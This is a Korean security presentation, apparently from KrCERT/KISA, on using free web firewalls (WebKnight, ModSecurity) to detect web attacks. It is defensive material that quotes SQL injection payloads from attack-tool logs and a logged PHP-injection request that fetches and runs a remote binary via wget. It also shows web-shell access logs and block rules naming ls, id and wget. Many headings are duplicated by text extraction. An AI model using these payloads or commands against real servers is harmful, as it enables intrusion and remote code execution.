공개웹방화벽을활한활용한웹격웹공격모니터링 file목차...

22
개웹방화벽 니터링 개웹방화벽니터링 정현철 [email protected]

Upload: others

Post on 05-Sep-2019

1 views

Category:

Documents


0 download

TRANSCRIPT

개웹방화벽 활 한 웹 격 니터링공개웹방화벽을 활용한 웹공격 모니터링

정현철[email protected]

목 차목 차

공개공개 웹웹 방화벽의방화벽의 모니터링모니터링 기능기능

웹해킹웹해킹 유형별유형별 공격패턴공격패턴 및및 탐지사례탐지사례웹해킹웹해킹 유형별유형별 공격패턴공격패턴 및및 탐지사례탐지사례

공개웹방화벽공개웹방화벽 설치설치 후에도후에도 해킹해킹 당했어요당했어요!!공개웹방화벽공개웹방화벽 설치설치 후에도후에도 해킹해킹 당했어요당했어요!!

공개공개 웹웹 방화벽방화벽 보급보급

-2-

공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능

웹 서버에 무슨 일이 일어나고 있나?

SQL InjectionWeb Shell

XSS Attack

Web Shell

Malware hiding

Upload Attack ???

Download Attack < 웹방화벽 로그 활용 >Broken Links

ARP SpoofingBroken Links환경설정 오류

외부 공격 위협 인지

-3-

공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능

공개웹방화벽의 Detection• Normalization techniques

– URL Encoding 공격 탐지(e.g. %XX)

– 상위 Path, 백슬래쉬 ( /../, ₩) 등 우회공격 탐지

• Negative security modelg y– Signature-based

– 알려진 공격 탐지에 적합알려진 공격 탐지에 적합

• HTTP Error Logging– 5xx(서버 에러) 4xx(클라이언트 에러)5xx(서버 에러), 4xx(클라이언트 에러)

– 깨진 링크, 환경설정 오류 등

-4-

공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능

공개웹방화벽 운영단계별 기능 활용

프로그램 다운로드

프로그램 설치3. 운영

(웹해킹 차단)룰 커스트마이징

1. 설치(웹해킹 차단)

KrCERT/CC 샘플룰 적용(로그 Only 모드)

공격 모니터링2. 룰설정

로그 분석

공격 모니터링룰설정

(웹해킹 모니터링)

로그 분석

Block 모드 전환

-5-

룰 커스트마이징

공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능

WebKnight 로깅모드 설정

-6-

공개 웹 방화벽의 모니터링 기능공개 웹 방화벽의 모니터링 기능

S Fil D f l A i " l “ModSecurity 로깅모드 설정

• SecFilterDefaultAction "pass,log“– 차단하지 않고 로그만 남김

• SecAuditEngine RelevantOnlySecAuditEngine RelevantOnly – 차단 룰에 일치될 경우에만 로그로 남김

• SecAuditLog log/modsec_debug.log– 로그파일의 위치(Apache 홈디렉토리의 상대

경로)

-7-

웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례

아아 D(D(啊啊 D)D) 2.32 : SQL Injection 2.32 : SQL Injection 취약점취약점 탐지탐지 툴툴

05:12:04 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /bbs/product_list.asp ; key_id=free_bbs'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDASTADCAR=ACFHPPKBGGGGBMKHICDNNIGF05:12:04 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /bbs/product_list.asp ; C:₩Inetpub₩dannyshop₩bbs₩product_list.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩bbs₩product_list.asp' ; key_id=free_bbs'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ; BLOCKED: possible SQL injection in querystring

취약한 인자값 출력

char(124) 즉 "|"를 많이 사용

1. '%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' ;

2. '%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20'%25'=' ;

3. %20and%20char(124)%2Buser%2Bchar(124)=0 ;

char(124) 즉, | 를 많이 사용

4. %20%61%6E%64%20%31%3D%31

5. '%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- ;

6. %20'%20and%20exists%20(select%20*%20from%20sysobjects)%20and%20''=' ;

7. '%20%61%6E%64%20%31%3D%32%20and%20''=' ;

-8-

nvarchar_값_'|dbo|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다.(“80040e07” 오류 발생시 취약)

웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례

NBSI2 : SQL Injection NBSI2 : SQL Injection 공격공격 툴툴

06:00:59 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /main/bc.asp?big_name=기획상품'%20And%20db_name()%2Bchar(124)=0%20And%20''=' ; BLOCKED: URL is not RFC compliant! ; /main/bc.asp ; big_name=기획상품'%20And%20db name()%2Bchar(124)=0%20And%20''=' ; BLOCKED:%20And%20db_name()%2Bchar(124) 0%20And%20 ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDASTADCAR=LEFHPPKBKOPLFHJKNKCJNLBH06:00:59 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /main/bc.asp ; C:₩Inetpub₩dannyshop₩main₩bc.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩main₩bc.asp' ; big_name=기획상품'%20And%20db_name()%2Bchar(124)=0%20And%20''=' ; BLOCKED: possible SQL injection in querystring

DB 테이블 노출BLOCKED: possible SQL injection in querystring

char(124) 즉 "|"를 많이 사용

1. %20and%20user%2Bchar(124)=0

2 '%20and%20user%2Bchar(124) 0%20and%20'' '

char(124) 즉, | 를 많이 사용IS_SRVROLEMEMBER, system_user, db_name 사용

2. %20and%20user%2Bchar(124)=0%20and%20 =

3. '%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1%20And%20''='

4 '%20And%20db name()%2Bchar(124)=0%20And%20''='

-9-

4. %20And%20db_name()%2Bchar(124) 0%20And%20

5. '%20And%20system_user%2Bchar(124)=0%20And%20''='

웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례

00:52:32 ; W3SVC1 ; O P H d ; 192 168 0 1 ; ; GET ;

HDSI 3.0 : SQL Injection HDSI 3.0 : SQL Injection 공격공격 툴툴00:52:32 ; W3SVC1 ; OnPreprocHeaders ; 192.168.0.1 ; ; GET ; /bbs/product_list.asp?key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; BLOCKED: URL is not RFC compliant! ; /bbs/product_list.asp ; key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; WARNING: SQL keyword found in querystring (1 more will block request) ; HTTP/1.1 ; ASPSESSIONIDSCBBSBBB KOCDOCBBDKMPNJEDILMLOMFBASPSESSIONIDSCBBSBBB=KOCDOCBBDKMPNJEDILMLOMFB00:52:32 ; W3SVC1 ; OnUrlMap ; 192.168.0.1 ; ; /bbs/product_list.asp ; C:₩Inetpub₩dannyshop₩bbs₩product_list.asp ; BLOCKED: Not in allowed path list 'C:₩Inetpub₩dannyshop₩bbs₩product_list.asp' ; key_id=free_bbs%20and(char(94)%2Buser%2Bchar(94))>0 ; WARNING: SQL keyword found in querystring (1 more will block request)

DB 계정 노출

h (94) 즉 “^"를 많이 사용

1. create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) create table t_jiaozhu(jiaozhu varchar(200))

char(94) 즉, “^"를 많이 사용t_jiaozhu 라는 테이블 생성

1. %20and(char(94)%2Buser%2Bchar(94))>0

2. '%20and(char(94)%2Buser%2Bchar(94))>0%20and%20''='

3. create%20table%20t_jiaozhu(jiaozhu%20varchar(200))

4. %20and(char(94)%2Bdb_name()%2Bchar(94))>0

-10-

5. %20%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0%20And%20''='

웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례

PHP Injection 차단공격 성공

victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET/bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://www.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 200 2066

공격 성공

# 파라메터에 URL이 들어 있는 요청을 차단SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"S Filt S l ti ARGS VALUES "^htt :/"

차단 Rule 설정

SecFilterSelective ARGS_VALUES "^http:/"

# 파라메터에 “ls", "id", "pwd", "wget" 등의 키워드가 있을 경우 차단SecFilterSignatureAction "log,deny,msg:'Command execution attack'"SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

# 커맨드 실행 결과를 출력 필터에서 차단# "id" 명령의 출력 결과 차단SecFilterSelective OUTPUT "uid=[[:digit:]]+₩([[:alnum:]]+₩) gid=[[:digit:]]₩([[:alnum:]]+₩)"

# "wget" 명령의 출력 결과 차단# wget 명령의 출력 결과 차단SecFilterSelective OUTPUT "HTTP request sent, awaiting response"

[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code공격 차단

-11-

403. Pattern match "^http:/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname"victim_ip"] [uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]

웹해킹 유형별 공격패턴 및 탐지 사례웹해킹 유형별 공격패턴 및 탐지 사례

SQL Injection 차단

차단 Rule 설정## SQL Injection AttacksSecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"

# Generic

차단 Rule 설정

SecFilterSelective ARGS "delete[[:space:]]+from"SecFilterSelective ARGS "drop[[:space:]]+database"SecFilterSelective ARGS "drop[[:space:]]+table"SecFilterSelective ARGS "drop[[:space:]]+column"SecFilterSelective ARGS "drop[[:space:]]+procedure"SecFilterSelective ARGS drop[[:space:]]+procedureSecFilterSelective ARGS "create[[:space:]]+table"SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"SecFilterSelective ARGS "or 1=1--'"SecFilterSelective ARGS "'.+--"SecFilterSelective ARGS "into[[:space:]]+outfile"SecFilterSelective ARGS "load[[:space:]]+dataSecFilterSelective ARGS "/₩*.+₩*/"

[Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match"delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"] [uri"/new/bbs/zboard php?id=bbs&no=24'delete%20from"]

공격 차단

-12-

/new/bbs/zboard.php?id=bbs&no=24 delete%20from ]

공개웹방화벽 설치 후에도 해킹 당했어요!공개웹방화벽 설치 후에도 해킹 당했어요!

ex070709.log:2007-07-09 00:05:30 W3SVC824136 xxx.xx.243.6 GET /Default.asp - 80 -

중국 검색 엔진에 의한 검색

xxx.108.11.106 Baiduspider+(+http://www.baidu.com/search/spider.htm) 200 0 0

ex070709 log:2007-07-09 06:36:27 W3SVC824136 xxx xx 243 6 GET /dong/freeboard/edit asp

WebKnight에 의한 중국 해킹 툴(Ad) 공격 차단

ex070709.log:2007 07 09 06:36:27 W3SVC824136 xxx.xx.243.6 GET /dong/freeboard/edit.aspoptions=default&idx=192&dbase=board'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - xxx.13.189.158 Internet+Explorer+6.0 999 0 0ex070709.log:2007-07-09 06:36:32 W3SVC824136 xxx.xx.243.6 GET /dong/freeboard/edit.aspoptions=default&idx=192&dbase=board%20and%20char(124)%2Buser%2Bchar(124)=0 80 -options=default&idx=192&dbase=board%20and%20char(124)%2Buser%2Bchar(124)=0 80xxx.13.189.158 Internet+Explorer+6.0 999 0 0

2종의 웹쉘(Ebank.asp, Lbi.asp)을 이용하여 웹페이지에 악성코드 은닉

ex070711.log:2007-07-11 05:54:16 W3SVC824136 xxx.xx.243.6 GET /Dong/back/Ebank.asppageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cpol%5Cdefault%2Easp 80 -xxx.78.69.214 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 200 0 0ex070710.log:2007-07-10 11:30:24 W3SVC824136 xxx.xx.243.6 GET /mungo/Lbi.asppageName=FsoFileExplorer&theAct=showEdit&thePath=D%3A%5Cpol%5Ckr%5Fcommon%2Ejs 80 - xxx.78.75.17 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 200 0 0

- xxx.78.69.214(중국)에서 /Dong/back/Ebank.asp를 이용하여 D:₩pol₩default.asp, D:₩pol₩main₩calendar.asp 파일 변조- xxx 78 75 17(중국)에서 /mungo/Lbi asp 웹쉘을 이용하여 D:₩pol₩kr common js 파일 수정

-13-

xxx.78.75.17(중국)에서 /mungo/Lbi.asp 웹쉘을 이용하여 D:₩pol₩kr_common.js 파일 수정

공개웹방화벽 설치 후에도 해킹 당했어요!공개웹방화벽 설치 후에도 해킹 당했어요!

이미 해킹당한 웹서버 조치 절차

• 웹쉘 등 백도어 탐지 및 제거– 웹로그 분석

등 키워드 사용• FsoFileExplorer, theAct, showEdit 등 키워드 사용

• 웹페이지에 은닉된 악성코드 제거• 웹페이지에 은닉된 악성코드 제거– 악성코드은닉사이트 탐지 프로그램(MCFinder) 활용 가능

– 웹로그 분석

– .html, .js, …

공개웹방화벽 설치• 공개웹방화벽 설치

로그 모니터링

-14-

• 로그 모니터링

공개 웹 방화벽 보급공개 웹 방화벽 보급

’07’07년년 공개웹방화벽공개웹방화벽 보급보급 및및 정보수집정보수집

• http://www.krcert.or.kr/firewall2/index.jsp

-15-

공개 웹 방화벽 보급공개 웹 방화벽 보급

’07’07년년 공개웹방화벽공개웹방화벽 보급보급 및및 정보수집정보수집

• 공개웹방화벽 버전별 프로그램

• 공개웹방화벽 로그수집 프로그램

• 공개웹방화벽 공격차단 샘플 룰 제공 (총 8종)

• 웹호스팅용/중소기업용

W bK i h 1 3/2 0 M dS i 1 9 4/2 1 1• WebKnight 1.3/2.0, ModSecurity 1.9.4/2.1.1

• 설치 운영 가이드

설치 운영 동영상 교육 자료• 설치 운영 동영상 교육 자료

• FAQ

• 기술지원 전담 창구• 기술지원 전담 창구

• E-mail : [email protected]

• 전화 : 02-405-5529

-16-

전화 02 405 5529

공개 웹 방화벽 보급공개 웹 방화벽 보급

응용응용 계층계층 공격공격 정보정보 수집수집

WebKnight, ModSecurity 등 공개웹방화벽 로그 수집

수집된 로그를 통한 웹공격 유형 분석수집된 를 통한 웹공격 유형 분석

공격 국가별 통계 관리 및 차단

웹방화벽 로그웹 방화벽로그 수집 Server

IIS, Apache

로그 수집 Agent로그수집 DB

웹서버 로그 수집 시스템

수집 g

-17-

일반 기업 KISA

공개 웹 방화벽 보급공개 웹 방화벽 보급

응용응용 계층계층 공격공격 정보정보 수집수집

로그수집 Agent for WebKnight : 웹어플리케이션(VB)

- Windows InstallWindows Install

- Windows Tray 등록

-18-

공개 웹 방화벽 보급공개 웹 방화벽 보급

응용응용 계층계층 공격공격 정보정보 수집수집

로그수집 Agent for ModSecurity : 데몬 형태(C언어)

- Compile : gcc –o 실행파일 fwget.cp g 실행파일 g

- Run : 실행파일

환경 설정 파일( )- 환경 설정 파일(config.env)

LOGFILE=로그파일명

VERSION=ModSecurity Version

SERVER=로그수집 서버 IPSERVER=로그수집 서버 IP

PORT=로그수집 서버 PORT

-19-

DOMAIN=웹서버 대표 도메인

공개 웹 방화벽 보급공개 웹 방화벽 보급

응용응용 계층계층 공격공격 정보정보 수집수집

로그 수집 서버

- 서버 정보서버 정

IP Address : xxx.xxx.165.230

8800Port : 8800

- 수집 정보

웹방화벽 LOG웹방화벽 LOG

등록된 웹서버 대표 도메인

-20-

공개 웹 방화벽 보급공개 웹 방화벽 보급

목적

공개웹방화벽공개웹방화벽 현장현장 기술지원반기술지원반 운영운영 계획계획((안안))• 목적

– 공개웹방화벽 보급 확대 및 응용계층 공격정보 수집

• 현장 기술지원반

– 기존에 원격([email protected], 02-405-5529) 제공

– 현장 방문을 통한 보다 적극적인 기술지원

• 현장 기술지원 대상현장 기술지원 대상

– 다수 웹서버 운영기관(호스팅업체, 대학 등)

– 공개웹방화벽 로그 제공 기관

• 현장 기술지원반 운영 기간현장 기술지원반 운영 기간

– 2007. 11. 19(월) ~ 12. 14(금)

• 현장 기술지원 요청 절차

기술지원 요청(web fw@kisa or kr 또는 설문지)– 기술지원 요청([email protected] 또는 설문지)

• 설치 대수, 로그제공 여부, 희망 일자, 지역 등 명기

– 기술지원 일자 확정 및 현장 방문

-21-

http://www.krcert.or.kr/firewall2

[email protected]

-22-